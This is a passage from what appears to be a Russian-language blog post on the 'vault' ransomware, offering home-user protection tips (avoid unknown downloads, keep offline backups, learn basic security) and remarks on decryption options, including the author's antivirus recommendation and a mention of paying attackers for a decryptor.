1. Не запускайте незнакомые приложения, ни в почте, ни скачанные из интернета. Старайтесь вообще из интернета ничего не качать и не запускать. Там сейчас столько всякой гадости валяется на файлопомойках, что защититься от них без должного понимания практически невозможно. Попросите лучше компетентного знакомого вам что-то найти в интернете и отблагодарите его за это.
2. Всегда имейте резервную копию важных данных. Причем хранить ее нужно отключенной от компьютера или сети. Храните отдельную флешку или внешний жесткий диск для архивных копий. Подключайте их раз в неделю к компьютеру, копируйте файлы, отключайте и больше не пользуйтесь. Для повседневных нужд приобретайте отдельные устройства, сейчас они очень доступны, не экономьте. В современный век информационных технологий информация — самый ценный ресурс, важнее носителей. Лучше купить лишнюю флешку, чем потерять важные данные.
3. Повысьте меру своего понимания происходящих в компьютере процессах. Сейчас компьютеры, планшеты, ноутбуки, смартфоны настолько плотно вошли в нашу жизнь, что не уметь в них разбираться значит отставать от современного ритма жизни. Никакой антивирус и специалист не сможет защитить ваши данные, если вы сами не научитесь это делать. Уделите время, почитайте тематические статьи на тему информационной безопасности, сходите на соответствующие курсы, повысьте свою компьютерную грамотность. Это в современной жизни обязательно пригодится.

Некоторое время назад я столкнулся с еще одним . Написал об этом статью, посмотрите, может вам она чем-то поможет. Некоторые антивирусные компании сообщают, что могут помочь в расшифровке того вируса, если у вас есть лицензионная копия антивируса. В некоторых случаях есть вероятность, что и с вирусом vault это сработает. Можно попробовать приобрести Kaspersky , на мой взгляд это лучший антивирус на сегодняшний день. Сам им пользуюсь на домашних компьютерах и в корпоративной среде. Попробуйте приобрести лицензию, даже если с расшифровкой вируса не поможет, все равно пригодится.

На этом у меня все. Желаю вам не терять свою информацию.

Дешифратор vault на видео

На днях нашел видео, где человек расшифровывает файлы дешифратором, купленным у злоумышленников. Не призываю платить, тут каждый решает сам. Я знаю нескольких людей, которые оплатили расшифровку, так как потеряли очень важные данные. Выкладываю видео просто для информации, чтобы вы понимали, как все это выглядит. Тема, к сожалению, до сих пор актуальная.

Помогла статья? Есть возможность отблагодарить автора

• Взлом веб сервера с помощью уязвимости .